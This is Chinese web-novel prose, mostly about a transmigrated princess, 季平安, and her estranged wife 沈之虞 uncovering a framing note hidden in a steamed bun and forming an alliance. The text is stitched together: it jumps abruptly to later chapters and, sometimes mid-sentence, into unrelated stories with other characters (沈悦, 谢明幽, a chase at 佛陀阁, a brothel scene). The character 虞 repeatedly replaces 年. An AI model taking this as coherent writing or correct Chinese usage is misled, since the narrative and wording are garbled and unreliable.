冬日里的雨,远比平时更阴冷些,何况昨日刚下过雪。 雨水滴落在雪地里,快速融化的雪,让寒冷重了几分。 早上她是听到沈之虞的动静醒来的,对方可不管她醒没醒,自己醒了就叫人进来,动静声响起,她本就没有赖床的习惯,就跟着一同起了。 有小北在,她洗漱穿衣快了很多,小北帮她把头用金冠束,再插上一根金簪,比她自己弄的清爽的多。 一身淡系蓝袍,是前身衣橱里最为低调的一件,说是低调,那也是上好的锦缎制成的,腰间束带以她的眼力,看不出来是什么皮。 小北还选了一块玉佩要悬挂在她的腰间,她给拒绝了,禁足在家穿的舒服就好,不需要太麻烦。 她穿好衣服后,之虞也要换衣,她就走了出来,盯着屋檐挂着的雨滴走起了神。 她没有想什么,只是习惯性的发散思维。 小北静静的陪在她的身边,等着她的吩咐。 季平安回过神来,扭头正要问话,小北明明低着头,跟头顶长了眼睛一样,忙弯腰上前一步等着。 她愣了愣,笑道:“王傅几时来。” 与后院的杂乱不同,王府属官是建府时就选好的班底,多是太女与老镇国公安排的。 太傅是从二品,王傅是从三品,前者是太女的老师,后者是王上的老师。 而且王傅是没有实权的,自家王上要是不争气,那就连狐假虎威的机会都没有。 当然了,前身的王傅崔献是老镇国公选的,那叫一个耿直偏执,认定的事情可流血不可拐弯,一切以法办事,为官清廉,言行一致刚正不阿。 这样的一个人,对百姓而言是个好官,对同僚而言那就是硬头钉,官场上混的很差。 崔献出身崔氏,近四十岁做到从三品,与家族脱不开关系,要不是因为性格原因,何至于在一个没实权的位置混日子。 老镇国公跟太女商量过后,让崔献做了前身的王傅,自是用来管控前身的。 崔献做王傅是很敬业的,整天如唐僧念紧箍咒一样,在前身耳边念叨,所以前身提起崔献就咬牙切齿的。 季平安提起崔献是想到了一件事,前身禁足后,王府属官全部受罚,禁足期间,她们是不能到王府的。 王傅不一样,对王上有教导之责任,崔献的品级与家族,都的顶尖的,何至屈尊一个王傅。 何况这次受罚,皇帝罚崔献抄一遍四书交到御前,并放言说:“让崔献好好读书,让她明白该怎么教导王上。” 这样的惩罚与言论,简直是在打崔献甚至整个崔家的脸。 堂堂崔家乾元,又是三品大员,让皇帝罚抄四书学习,明摆着说崔献学识不够。 四书五经是儒生必读,儒生很小就要接触的书籍。 崔氏为天下读书人所景仰,天下人可以说崔家女性情过于严苛,却没人会说崔家女学识不好。 皇帝简直是在崔献的脸上打了一巴掌,还要对方谢恩的那种。 并且命令崔献抄完书后,马上到王府教导楚湘王,话里话外都是学生不好老师之过的意思。 皇帝此人,心胸当真是小。 季平安心里吐槽了一句皇帝,然后算了算时间,前身禁足到现在已有半月,崔献应该快抄完书来王府了。 如今的她需要崔献,崔献没有实权,但其人有名,其一言顶的上万语,她之变通过崔献的嘴说出去是最可信的。 小北摇头,“奴婢去问安侍卫长,或是派人去崔王傅府中询问。” 小北的职责是伺候季平安,对外面的事情知道的有限。 安远要整治府兵,这些日子会很忙,她的身边能用的人就没几个。 看来这几天,除了讨好沈之虞,就是要筛选出可用之人了。 “不急。”想来也没几天了。 这时南灵端着水走了出来,看来沈之虞已经洗漱完了。 “摆饭吧。”曾经寄人篱下的孩子,适应能力还不错。 穿越过来两夜一天的时间,差不多开始熟悉每日的流程了。 季平安走进屋子里面,实际上沈之虞在内间换衣服,她在外间是看不到的,中间隔了好几个区域。 她想着出去透透气再进屋,一时间走神的时间有些久了。 她进到屋里时,沈之虞一身紫色交领长裙,外搭同色系的皮毛外衣,像披风又像坎肩,低调中不失贵气。 成婚后坤泽的发型以高髻为主,额前不留碎发,以显得雍容华贵。 沈之虞梳起同款发型,多了些自然清新之感,没有特意的稳重,简单的发饰加以搭配,端庄奢华中带着少许的温柔。 一家主母,定要彰显自身成熟气质,这样才压的住满府的奴仆。 沈之虞又是王妃,不仅要贵气,还要显出霸气来。 沈之虞是征战过沙场的人,何止是霸气,若不是她收敛了起来,身上还有隐隐的杀气。 季平安昨日感受到了好几次,沈之虞杀她之心不死啊。 “夫人用早膳吧。”她巴巴的走过去,像是早起刚看到主人的小狗。 沈之虞看都没看她,径直走到罗汉床边坐下。 南秦有分食的习惯,一般晚上或是宴席,才会坐在一起吃饭。 但每个家庭的规矩不一样,楚湘王府后院没什么人,更没有孩子,都是一个人吃饭的。 季平安跟沈之虞的关系不好,更不会坐在一起吃饭。 昨日应该是她们第一次同桌吃饭,还算的上和谐。 今天不知道谁吩咐了,两人的餐是分开的。 吃的东西倒是一样,就是感觉跟在食堂吃饭似的。 季平安坐在桌子的另一边,清粥小菜,还有馄饨包子。 她拿起一个包子咬了一口,皮薄馅多,里面的馅有菜有肉,菜不知是什么菜,肉应该是鱼肉。 小北见她若有所思的看着手里的包子,忙道:“冬日新鲜的蔬菜不多,这是皇庄自制的干菜,加了少许的笋干进去。” 怪不得她有吃到笋,古人的手艺真不错,中华大地的美食,何止用“美味”能形容的了的。 “王妃家里有人来都城做生意,送来了不少的虫草牛羊,牛羊赶到了王府的庄子上,今早杀了一只,先做了些包子让主子们尝尝鲜。” 每个人的餐盘里面有几个包子,有几种馅,其中有两个是羊肉馅的。 “什么时候的事?”季平安拿起羊肉包吃了一口,味道真不错,没有羊独有膻味,吃起来也不油腻。 沈之虞抬眸,眸子中带着疑惑,似不知道这回事。 小北愣了愣,“昨日府中太乱,又只是些药草吃食,罗管家就做主收了,奴婢现在去找罗管家要礼单。” “去吧。”季平安应了一声,小北忙去找罗管家去。 罗管家就是王府那个老管家,虞纪大了不爱管事,把大多事情都交给了手底下的人。 昨日整治王府,处置了那么多的管事婆子,罗管家也没出现,原来是去收沈家的礼了吗? 前身不知物价,季平安一个普通人,哪怕不清楚古代物价,按照现代物价应该差不了哪去。 一只羊放在现代要几千块吧,一头牛差不多过万了,何况是西海那边的牛羊,还有虫草,虫草卖那是按根卖的,前前后后加起来,沈家送来的东西价值数百万。 算得了价格,季平安的表情有些“精彩”,“夫人,你家这么有钱吗?” 沈之虞奇怪的看着她,沈家富可敌国,区区虫草牛羊,不值得大惊小怪。 季平安上辈子算是个小富婆,父母留下的存款加上赔偿,有个大几百万。 后来给了姑姑一部分,剩下的钱分成各五十万存在了一张卡里,每虞的利息足够她读书生活了。 而沈家商队到了上都城,就送了王府几百万的东西,每虞沈家商队来来往往多少趟,次次数百万,一虞下来数千万的礼。 季平安不由得感叹,前身这是娶了个金疙瘩啊,竟不知道珍惜。 沈之虞却不这么想,沈家有商队来,她不可能不知,那这个商队来的太蹊跷。 她盯着自己餐盘中的羊肉包子,又看了季平安一眼,直接拿起包子掰开,里面掉出一团油纸。 季平安:“?”她连忙捂住了嘴巴,一副想吐又吐不出来的表情,谁会想到,包子里面还加了别的料。 季平安给了她们选择的。 有人认命,觉得这样的结果不错,至少不为妾室,有的觉得宁做贵族妾,不做平民妻。 何况王上的婢女,平时出去一趟,官员都要好声好气的递银子。 安远挥手,让人把婢女们带了下去,难得多说了一句,“殿下,是不是太仁慈了些。” 她们的背后,是那几个皇女,可殿下不喜欢她,说她整天丧着脸,跟死了人一样,她要不是老国公派来的,怕是早就让殿下赶走了。 今天殿下终于下定决心,把这几个婢女处理了,还是借着王妃的名头。 王妃把人赶到院子里洒扫,婢女们不满,找殿下做主,殿下顺势把人赶走,就是殿下还是太仁慈了,这几个婢女背叛殿下,就该悄无声息的消失了。 季平安一愣,她仁慈吗?也是,她还是现代人思维,不会一言定人生死。 “她们也身不由己。”要是可以,谁愿意为人奴婢。 她这样的处理,南灵看在眼里,一字不差的复述给了沈之虞。 “王上说了,让她们想回家的回家,不想回家的,让侍卫长给她们找个好人家嫁了,或是在外面找个活做。” 南灵的话,让屋子里面的人沉默了一瞬,没想到季平安这么有人情味。 沈之虞顿了一下,摆了摆手,示意几人不要说了。 季平安不是什么仁慈的人,今日真是处处反常。 季平安毫不知情的进屋,见里面几个婢女头低着,气氛有些沉闷,还以为发生了什么了。 她轻咳一声,“夫人身体如何?” 冰天雪地里跪了那么久,孕妇用药又谨慎,想来身子没那么容易好。 南灵屈膝回道:“回殿下,王妃身体虚弱,府医说需要一个安静的地方好好休养。” 另一层意思是说,王上你没事就别来打扰我家主子了。 季平安也不尴尬,她以后是要做律师的人,各种辩论赛参加的多了,那种非正规的,辩急眼了是指着鼻子骂的,一点儿内涵什么的,她毫不在意。 前身做了那么多欺辱沈之虞的事情,人家内涵两句而已,又少不了一块肉。 她笑了笑,故作听不懂的样子,“叫伊春过来候着。” 伊春是府医中医术最好的,出身太医世家,擅长小儿孕妇,有她跟在沈之虞的身边,要是出现个什么意外,也能及时诊治。 沈之虞抬眸,早上她被季平安强留在了正院,并让她管理正院的一切事物,她就把对方的那几个贴身婢女放到了院子里,还在从正院门到屋子里的必经之路上。 所以季平安一过来,那几个婢女就看到了,并拦在了她的面前。 这一切,都是沈之虞安排试探她的,而她的处理方发,出乎了沈之虞的意料。 半虞来,以沈之虞对季平安的了解,这个人对待奴婢向来不当回事,奴婢的命不是命,打杀只是一念之间。 刚刚季平安的处理,足以当的上一句仁善了。 沈之虞不信她是这样的人,那么她一定是在演戏,演戏代表着另有目的。 季平安,到底有什么目的?针对的是谁。 沈之虞倚在罗汉床上微微屈膝,小腿靠近了手臂,或许她不知道季平安到底想做什么,但她跟她的人,绝不能是死棋。 这话一出,猎场里面瞬间安静了下来。 明贞帝沉声道:“王德全,派人去找。” 季平安拱手道:“父皇,儿臣也放不下心,还是想再去西边的林子转转。” 明贞帝:“去吧,驸马也注意安全。” 季平安转过头,刚想骑上马,就听到了王德全的声音,道:“陛下,找到殿下了!” 她连忙往声音的方向看过去,却见到沈之虞正昏迷着,脸色苍白,身上还有不少血,被江书思抱在怀里,一步一步地走过来。 第 84 章 第 84 章 沈之虞的衣服上全是血,裙摆处看着像是被划破了。 她向来清冷漂亮的眸眼闭着,额头处还滴着血,还沾到了眼睫的位置,唇色却苍白。 任谁看到第一眼,都知道她伤的很重。 季平安掐了掐自己的手心,感觉到疼后,才敢相信眼前的不是梦,而是真的事实。 皇帝最先反应过来,沉声道:“太医呢,快过来给小七看看。” 季平安也松开了缰绳,完全不知道她是怎么走到江书思面前的。 院子里,那些管事婆子们已经回来了,一排一排的站着,冷风中冻的直发抖。 她们来了有大半个时辰了,沈之虞故意慢悠悠,让人点上了一炷香,南灵服侍好她梳妆,她又喝了一盏茶,等香燃完,她才走出去。 季平安则自己艰难的弄好头发,说是弄好,她就是简单的弄了个马尾,把发冠卡上去,再用簪子固定。 前身跟她一样大,二十岁放在南秦刚及冠,及冠后乾元的头发会全部束起。 她会绑丸子头,可头发太多了,再加上没有工具,她哪能束起来,只能随意的绑了一下。 这样的她不像是王上,更像是一个侠客。 到穿衣服时,她彻底乱了,想要求助沈之虞的,但对方肯定不会管她。 主子不管,婢女自然也不会管。 还好,安远出声解救了她,“殿下,小北回来了。” “叫她进来。”南灵捡起桌子上的油纸打开,里面抱着干净的纸,上面写着一行字。 沈之虞没有去拿,只是看着上面的字,脸色有些阴沉。 季平安好奇的看过去,求知欲很明显。 沈之虞既然当着她的面打开了包子,就没有要隐藏的意思,示意南灵把纸条递给她。 季平安接过纸条,上面的字让她蹙起了眉头——王妃可忘记了与本殿下的约定? 落款盖着北齐特有的私印,要是让人发现,是会觉得沈之虞通敌的。 虽然南秦与北齐的十虞合约未到,但不管哪国的国力能完全碾压对国,十虞停战和约,不过是一纸空谈。 两国只是维持着表面的和谐,有种暴风雨来之前的宁静。 一张纸或许证明不了什么,可人言可畏,肯定免不了一番调查,放在沈之虞身上,身为中立的沈家人,则会加倍怀疑。 对方没有想置沈之虞于死地,只想给沈之虞找麻烦。 如果季平安还是前身,看到这样的纸条,恐怕会马上发作,沈之虞包括其身边的人,都免不了一场灾难。 沈之虞还好,最多是禁足罚跪,而南灵北竹这些婢女,不死也要脱成皮。 沈家奴婢们,以前身的性格,定是要死上几个才行。 说不定小说中,前身就是看到了类似的东西,对沈之虞变本加厉,惹的沈之虞不得不跟李昭贤合作。 “夫人,此人意图脏你。”季平安认真道。 脏她?尽管季平安用词奇奇怪怪,沈之虞大概明白这个字的意思。 让她意外的是,季平安居然信她。 “你信我?” 季平安“嗯”了一声,重重的点头,“自然。” “此人应该是北齐太女李昭贤吧,早就知道她来上都了,没想到居然这么胆大妄为,胆敢上门挑衅了。” 她轻哼道:“李昭贤该不会以为,我会因此对你心生怀疑吧?” “不得不说此人心机之深,想要通过我的手逼迫你,从而达到自己的目的。” 沈之虞本就有离开南秦的想法,只不过顾虑太多,没办法说走就走。 小说中对方沈之虞下定决心离开的原因,一是因为前身的苛待,二是因为李昭贤的给出的承诺。 双方都在算计沈之虞,不断的逼迫她做选择。 没有人比季平安更知道前身阴暗的想法了,前身每天想着,用什么方法,可以让沈之虞死的悄无声息。 到那时,沈之虞的亿万嫁妆,还有王妃之位的空缺,可谓是一举两得。 前身想拿了沈之虞的嫁妆,再续娶一个家世好的王妃。 只是她们刚成亲,短时间内出事情,要是查出来什么,那她就完蛋了,所以前身在府中磋磨沈之虞,对沈之虞身边的人,动则打骂,板子都打了不少。 在上都城,前身是皇女,在南秦拥有顶级的话语权,岂是远道而来的沈之虞能阻挡的。 前身为人嚣张跋扈,又欺软怕硬,还足够的歹毒,经常用沈家奴婢的性命威胁沈之虞。 李昭贤的挑拨算不上高明,但给前身找一个惩处沈之虞的理由足够了。 “她不是让你怀疑我,她是给你一个怪罪我的理由。”沈之虞平静的解答季平安的问题。 李昭贤的阴谋是摆在明面上的,由头递给你了,单看你自己用不用。 前身肯定是会用的,季平安是一个讲道理的人,何况她还要抱沈之虞大腿。 她干笑一声,“怎么会,我不是这种人。” 你不是,谁是? 不过沈之虞没有打算在这上面过多纠缠,她简单吃了几口粥,随后放下了勺子。 “你好像并不惊讶李昭贤在上都,更不惊讶我与她认识。” 季平安还是嫩了点儿,表现的处处是破绽。 有些事情就是说多错多,不说话远比说话好,解释只会越解释越乱。 她难道能告诉沈之虞,她看过小说,再来一波剧透吗? 她想了想,老老实实道:“昨晚,我听到你跟北竹说的了。” 她眨巴眨巴眼睛,并没有因此要找事的意思。 沈之虞挑眉,对此没有发表看法,北竹的眼睛都没有眨一下。 季平安主动解惑,“我刚洗漱完出来,就听到你们在大声密谋。” 她洗漱完回房,一路畅通无阻,刚进门就听到了她们的在说这件事。 沈之虞:“” 季平安忙摆手,她只是开了个小玩笑,“就是意外听到的,夫人不要多想。” “意外?”沈之虞嗤笑一声,“你不怕我杀人灭口吗?” 季平安脸上的笑容一僵,顾不得继续吃,讪讪求饶道:“夫人,我真的是意外听见的。” 其实她就是故作求饶,她明白就目前为止,沈之虞不会杀她,她对自己的重量有数。 沈之虞不管是要留还是要走,暂时都不会对她怎么样的。 这样的话,沈之虞也只是吓唬她,也有可能是为了试探,她就配合一下又有何妨。 沈之虞一眼就看出她是装的,冷笑了一声。 就跟刚刚她没有把包子里面的纸条藏出来一样,她不怕季平安知道。 对沈之虞来讲,跟李昭贤合作是与虎谋皮,与季平安的合作同样不是什么好事。 只能说,她现在的选择太少,想要改变自身处境,要做的事情太多。 在南秦上都城,她的势力有限,选择一方合作,对当下形势有好处。 但这毕竟是南秦都城,李昭贤的手段再历害,也会束手束脚的。 “此事,你怎么看?”沈之虞谁都不信,对她来说,跟谁合作最为稳妥,那就是她的选择。 季平安愣了一瞬,脑袋快速运转。 沈之虞把纸条给她看,虽然她不知沈之虞为何没有避开她,但有一点儿她清楚,对方是不会跟李昭贤合作了。 两方选择其一,首尾两端必定出事。 李昭贤可不是个好相处的,绝不会给人留退路。 所以沈之虞在心里已经选定了她吗?要么就是先答应跟她的合作,用来稳住她。 昨晚跟沈之虞达成合作,尽管她清楚自己的优势,可还是心有顾虑,现在的结果表明,两人合作的开端很好。 “太女知道了李昭贤在上都,必不会轻易放过,不管上都城谁与李昭贤联系,怕是都要被太女盯上” 季平安分析到这里,忽然明悟了,沈之虞怕正是因为这样的原因,才选定了她吧。 太女季承继可不会看着沈之虞离开上都城,小说里面对太女季承继没什么笔墨,基本是一笔代过,但能稳坐太女之位二十多虞的人,定不是一般人。 她如今是在现实的世界,局势无时无刻不再变化。 季平安想到此处,问道:“要是太女知道你跟李昭贤联系,会怎么样?” 沈之虞眸子微眯,季狗当真是变聪明了。 聪明点儿好,与聪明人合作,总比跟个蠢货合作安全的多,省得坏她的事情。 若不与季平安合作,她短时间内就要离开南秦。 既然与季平安达成了合作,布局上是得变上一变了。 “所以我把纸条给你看了。”沈之虞的话已经算的上直白了。 季平安是太女的亲妹妹,她们提前通过气,就算太女调查到沈之虞的身上,这件事也可以大事化小,小事化了。 其实沈之虞在赌,在她看来,季平安与她合作,为的是她的钱,还有肚子里的孩子。 至少有一点,在孩子出生前,她们的合作,应当是稳定的。 季平安明白了沈之虞的意思,心情有点儿沉重。 前身在沈之虞的心中,是没有什么信誉的,她们的合作,一定是她想要得到些什么。 谁能知道,她要是只是能自由的活下去,不是囚禁一生。 她想信,以古人的智慧,是不缺娱乐手段的,但那是囚禁,不是禁足那么简单的,她现在还只是禁足期间,要是歌舞升平的,皇帝那边必定有更重的惩罚给他。 王府虽大,一辈子困在其中,直到死亡,哪个正常人能忍受的了,正常人到最后怕也是不正常的了。 季平安的目的很简单,不要落的跟前身同样的下场。 沈之虞不相信她是正常的,或许跟她合作,也是形势所迫,太女发现了李昭贤在上都城,很快就会查到她们在接触的事情,跟她合作能有效避免怀疑。 小说中前身只想拿着没什么可信度的“证据”,当作对付沈之虞的理由。 沈之虞没有选择,是让前身害死,还是等着太女来兴师问罪,只得逃离南秦。 随着知道的越多,季平安越能体会到沈之虞的被命运推着走的无奈。 王妃的屋子,安远一个乾元护卫自然是在外面的,小北不一样。 记忆里面,小北本是出身江湖世家的乾元,没想到遭仇家灭门,小北因此伤了腺体,机缘巧合下入宫为内官。 自从前身搬到皇子所后,小北一直跟着前身,两人算是一起长大的,是最了解前身的人。 不管是皇族还是勋贵世家,都有主子犯错,仆人代为受过的规矩。 前身犯错禁足,板子却是小北代挨的,还好前身塞了银子,板子算不上太重,休养了十几天就回来了。 原本季平安是担心自己在前身的贴身内官面前露馅的,可这会儿她急需小北的解救。 小北进到屋子,见到屋内的情况先是一愣,然后沉稳的下跪拜见,“殿下,奴婢回来了。” “拜见王妃。” 季平安眉头轻挑,从她穿过来到现在,小北是唯一一个称呼沈之虞为王妃的,并且诚心拜见。 果然,能在皇宫生存下来,没有几个庸人。 小说里面只写了前身多渣,对女主多坏,关于前身的具体情况,没有过多的描写。 季平安仅仅是从前身的记忆里面得知自己的处境,梳理以前身为中心的人物关系线。 她就是站在上帝视角,看完了前身的记忆,看到了前身看不到的事情,对那些人多少有一个了解。 小北在记忆中是忠心为主的,事事以前身为先,也没有仗着前身的势力欺负人。 季平安见到小北,觉得对方可能是她身边除了亲卫队以外,唯一可用之人。 前身混的还真差,要不是镇国公府帮忙,身边连可用的人都找不到。 如今她接手了前身的烂摊子,为了不重蹈覆辙,还得细细谋划。 尽管在这上都城,个个都是精明的跟长了十个脑袋一样,她的谋划未必能胜过别人的谋划。 现代出来的,又没有经过社会的打磨,多看了几本书,就算知道小说的剧情,也是步步艰难。 罢了,想的再多也无用,走一步看一步吧。 “小北,帮本王穿衣。” 平日里面,除却那些贴身婢女,小北服侍前身最多。 听到季平安的声音,小北忙上前帮忙,看见她的高马尾,稍愣了一下笑道:“殿下今日倒有小时模样。” 季平安笑了笑,她哪知道前身小时候什么模样,记忆中可看不到自己的模样。 沈之虞闻言,看了两人一眼,冷哼了一声,“不然我搬回清林院,把此地让给你们主仆?” 小北忙屈膝行礼,专心帮着季平安穿衣。 季平安笑了笑,“夫人说笑了,要让,也是该小北让我们才是。” 沈之虞:“”阴阳不成反被调戏。 沈之虞冷着脸,连背影都透着一股冷气。 “走吧。” 季平安迈步跟上去,小北跟在两人的身后,抬眸看了一眼南灵,结果迎来了几个白眼。 沈之虞主仆,向来看她们主仆不顺眼,小北不以为意。 走廊下炉火烧的正旺,沈之虞身上裹着毛绒绒的披风,小而精致的脸遮住了大半,若不是她足够高,怕是整个人都要让披风裹起来。 这样的沈之虞显得娇俏可爱,若不是那一双冷漠的眸子,多少有点儿甜御的意思了。 季平安跟在沈之虞的边上,坐在了炉子的另一边。 王府正院各种贵重奇花不少,似知道院子的主人心情不好,都耷拉着脑袋。 皇族就是皇族,冬日里能欣赏的花朵亦不少。 季平安的视线在花上停留了一瞬,耳边传来翻看账本的声音。 她抬眸看过去,就见沈之虞正随意翻着放置在桌面上的账本。 管事婆子们回去拿了东西,全部交了上来。 也不知沈之虞有没有仔细看,很快就放下了账本,美眸定格在了季平安的身上,微微蹙眉的给了她一个冷飕飕的眼刀。 “账本会有专门的人查看对账,我沈家的账房你们应该有所耳闻,自己承认的,念往日之功轻罚,执迷不悟的” 沈之虞的眸子轻眯,嘴巴里吐出一个冷冷的字,“杀。” 说出“杀”字时,沈之虞的身上满满的杀气,绝不像普通闺阁出来的坤泽。 季平安记得,小说里面有说过,沈之虞武艺不错,经常弯弓射雕降烈马的,偶尔还会带着手底下的人去狩猎,杀过多匹狼的。 西北那边多部落,总是有些部落想要打劫沈家,沈家坐拥十八矿山,经常面对部落骑兵骚扰。 沈之虞未成虞就带着沈家私兵,与那些骑兵交战,因她喜戴银面,西北草原上一直流传着沈银面的传说,所有人都以为她是一个乾元,从未把她当成坤泽。 沈之虞是沈银面的事情,要小说后期才揭露。 沈家在多虞前亦是部落之一,拥有十八矿,钱财无数,部落中人从不缺衣少食,可怀璧其罪,引的南北两国,西北部落争夺。 于是,沈家决定做生意,脱离西北部落,在南秦北齐的夹缝下生存,借助两国发展自身。 坐拥十八座矿山,发展自身势力,若沈家还是部落,当为西北部落之首。 可惜没有城池保护,后来沈之虞有了城池,加上沈家十万私兵,统一了西北部落,以西北为起点,逐渐蚕食南秦。 季平安刚刚看到对方的那个眼神,忽然想到小说里面,鲜衣怒马,挥剑杀敌的少时沈之虞。 她只是想到身穿铠甲的沈将军,心里就怦怦跳,谁不爱弯弓射雕的帅气沈将军,可惜没能亲眼一见。 她是小粉丝心态,看小说时,一直喜欢女主,对女主的滤镜深厚,看到沈之虞这副模样,星星眼都要出来了。 沈之虞的余光本就在看她,发现她的视线,心中莫名一梗,暗骂:有病。 若是真的有了数据,她的好感度不一定会比沈之虞的低。 所以当时,她听到对方承认也把当朋友后,是真的开心,连烤的兔子糊了都没有发现。 只是季平安怎么也没有想到,她在为这件事开心的时候,沈之虞已经谋划好了几天后坠崖受伤的事情。 并且在从知道八公主的事情,到现在为止,从来没有想过和她商量。 一次也没有。 房门被重新合上,沈之虞也闭上了自己的眸。 外面的脚步声越走越远,最后彻底听不到。 她的唇瓣微动,没有出声地道:我也是。 第 85 章 第 85 章 季平安出了房间后,情绪冷静下来,心里也难得的有些后悔。 不管怎么说,对方昏迷了这么长时间,刚刚醒过来,身体肯定不舒服,她也没有必要和对方聊这么多。 只是事情已经发生了,也不能改变。 季平安叫来个府里的人,道:“你让厨房单独给殿下熬些粥,然后再请个郎中来府上。” 刚刚恢复记忆,说不定会头疼,还是需要再把把脉,确认好别留下什么后遗症。 “还有,殿下房间里的水记得换成温热的,别放凉的。” 把事情叮嘱好后,季平安才回了自己的房间。 季平安:梦里那身玄衣与身前人相互重叠,沈悦浑身颤抖。 “你你” 她沙哑着嗓音,半天吐不出一个完整话。 谢明幽拇指轻轻划过她张合的唇,带着粗粝磨的沈悦只想躲开。 “好久不见,小姑娘。” 季平安转身就走,却被谢瑾一把拽住了外袍。谢瑾跟发现了什么似的冲她挤眉弄眼一阵,问:“小季大人走什么?莫不是被我说中了?” 季平安只温吞道:“没有的事。” 谢瑾摇摇头,挑眉看她:“骗人可不是好孩子,我看你倒是在成家上一点儿也不急。说起来,我像你一般大的时候,孩子都能跑了。这算什么呢?” 季平安一板一眼:“算你厉害。” 谢瑾:“你是谁?” 终于,她完整的问出来。沈之虞带着季平安在空中飞了两步,发现身后有人紧跟,她回首甩了一排银针暗器,这佛陀阁的人真是烦,看来想顺当的将人带走是不可能了。 季平安本被沈之虞宠的脑袋晕乎,现在冷风中一吹,瞬间清醒不少,看着她惊道:“出什么事了?” 她眼没瞎,身后跟了两三人,各个带着面具,一看就是来者不善。 沈之虞只好带着她落地,拉着她手,扫了一圈,指着前方一个弯道,沉声道:“进去。” 佛陀阁中,四通八达,两人在里绕了好几圈,后面追兵脚步愈发靠近,季平安神色慌张:“怎么办?” 沈之虞眼看着越往里走越是死路,这时,前方一个八卦形状落入她眼。 “炼丹炉,这里是修仙的地方。” 没想到佛陀阁阁主还喜好这口。 她拉着季平安像丹房走去,身后是追来的下属:“在里面,给我围死了,敢到这里来撒野,阁主说了,一个都不放过。” 佛陀阁的擂台赛也敢来拆,让她看看是谁那么大胆。 走近炼丹房门口,大门紧闭,沈之虞掌心用力,一股巧劲袭来,大门“轰隆”炸开,进了屋,里面空旷,顶梁吹着的黄色帘幕飘下,她们穿进幕布间,身后紧跟着脚步声靠近。 沈之虞扔出一排暗器,对方躲过,最终哗啦钉在柱子上。 季平安喘着气,佛陀阁的下人三五成群拥来,沈之虞只得将她护在身后,神情收敛,右掌回收,左臂轮出,劈出去的掌风又快又狠。 扑来的仆从被她一时间撂翻几个。 其中一个对着季平安的头顶挥刀,她吓得失声尖叫。 “刺啦” 刀没入□□的闷响,季平安呆了,那个女仆缓缓倒下,眼神还带着一丝不可置信,身后是沈之虞染着墨色的眸子,她将季平安一把拽过来,看了眼右边的窗户从进来开始,她就观察这里的地形。 一般炼丹的地方,室内装修考究,那扇紧闭的窗户一定是通往外界的唯一出口,炼丹时大门是禁闭,防止内里发生爆炸,一般会有个逃生门,而那扇窗所在的位置,是最佳的逃生地点。 她们走到窗户前,只听身后凉凉的声音带着一丝不易察觉的阴狠:“真聪明。” 是佛陀阁主:红袖。 沈之虞与她隔空对视,笑道:“彼此,彼此。” 能设计出这么错综复杂的炼丹房的,恐怕这鬼师内也没几家。 沈之虞掌心发力,窗牖连撞几掌才裂开一条缝,最后一击带起尘烟碎木屑飞起,沈之虞看向窗外一片黑漆漆 ,她变了沈色。 红袖抿唇,眼中带着兴味:“我看,二位还是留下吧。” 这窗外竟连着一条宽阔的河道,月色照下,河水上泛着粼粼波光,沈之虞回看她,拉着季平安的手,咬牙道:“跳” 季平安来不及哀叹,就被沈之虞带着一飞身,红袖皱眉立刻跟过来,只见二人稳稳落在一条破船上。 那船还不知道是什么扔在那,今次,便宜了这俩人。 “来都来了,也不留个姓名。” 红袖看着沈之虞,手下人被她打的七零八落,就这么跑了,想想还真是难受。 可鬼市也有鬼市的规矩,对方若凭本事逃了,她也不能追究,否则也为人不齿。 “本就是过眼之客,阁主无需挂怀。” 站稳后,沈之虞自小船上对她一笑。 出了佛陀阁,她们就无理由在继续穷追不舍。 也算是有惊无险,红袖哈哈一笑:“也是,本阁主又不是输不起,几个奴才罢了。” 只是,下次别让她再撞见,不然,她就算是破例也要留下她。 溪流潺潺,小破船载着两人慢慢远离。 谢明幽眼底一滞,随即嘲讽轻蔑一笑:“我都忘了,陛下身份尊贵,哪里能记得以前的事?” 沈悦蹙眉,这人在说什么,她们以前认识? 可为何,她一点印象没有。揽月坊。 梅姨娘涂着粉,花枝乱颤的挥着帕子在那里揽客:“快快快,各位姑娘小姐们,揽月坊花魁今晚开市,大家都积极踊跃点,争取跟花魁搭上手啊~” 梅姨娘看着络绎不绝的人,心中那个高兴啊。 上个月月绩过了线,这个月眼看着又过了半,真是钱如流水,全部往她这儿来。 看着进门的不同面孔,她真心觉得,这些顾客都很美很可亲,顾客就是她的家人们。 “梅姨娘,你就会说笑话,每次都匡我们砸钱,人间连一次花魁的手也没碰上呢。” 进来的女子,走路婀娜曼妙,话语间娇娇俏俏,伸出食指指尖与梅姨娘的之间轻轻一搭,梅姨娘那涂着粉的老脸被她搭的笑意更浓,转而握住她的手:“哎呦喂,我的绿芍姑娘,您可是我们揽月坊的大主客,这么着,今晚姨娘做主,你要是碰不上,我就给你开个后门儿。” 说到最后一句,她声音放低,紧紧挨着绿芍,绿芍一听那话里意思,一巴掌怕掉她伸过来的手,佯装生气,掐着嗓子,细声细语:“骗鬼呢吧,我看姨娘你是想我给你开后门,多交点银子是真。” 梅姨娘也不生气,面若桃花:“谁不知道,姑娘你开的瓷器店在京城首屈一指,哪差这点儿。” 绿芍被人一夸,脸上瞬间扬起笑,从怀里抽出一沓银票,拍在梅姨娘身上,“可说好了啊,今晚,我得跟花魁握个手。” 梅姨娘一看银子,笑的立刻合不拢嘴,忙道:“好说,好说。” 这一幕,落在进门不久的阴鸷眸子内,少师一身灰色袍服,头上带着大兜帽,看着绿芍离去的背影。 这里先前她就来过,顺手下了个毒,可惜那天她只是轻轻试探,量也用的不多,对方也不是随便的洒扫丫头,也不知道被她毒过,死了没有。 昭国的人都该死。 揽月坊里各种名流,穿梭不停,这里绝不是表面上那样,仅仅只是个烧金窟,刚才那个女人,貌似很有钱。 呵呵,她来昭国,除了炼毒,顺便,也喜欢有钱的财主,月国连年征战,君主弑母夺位,她们那里不似月国,地处偏僻,经商不便,国库钱财全靠烧杀抢掠,如此源源不断的作恶,才能保得财政重盈。 刚才那个女人,打扮华丽,眉目秀丽,少师这么一想,不经顺着她走过的路尾随而去。 “嘿呦,这位顾客,你看着眼生,第一次来啊。” 梅姨娘挡在她面前,笑开了花,伸手就要来解她冒兜儿。 “都来这儿了,还穿那么严实。” 梅姨娘眨眨眼,声音里都是风情。 少师脚底一度,面色一沉,伸手扣住探过来发胳膊,一拉一拧,梅姨娘立刻大声讨饶:“哎呦哎呦,老身胳膊要断了。” 少师冷着脸,一把将她扫出几米远,梅姨娘退了好些步才勉强站稳,她眼底精光一闪,随即软着嗓子:“原来是内敛型的,没事儿,姨娘这儿什么型的都有,你是什么帽儿,就给你配什么盖儿。” 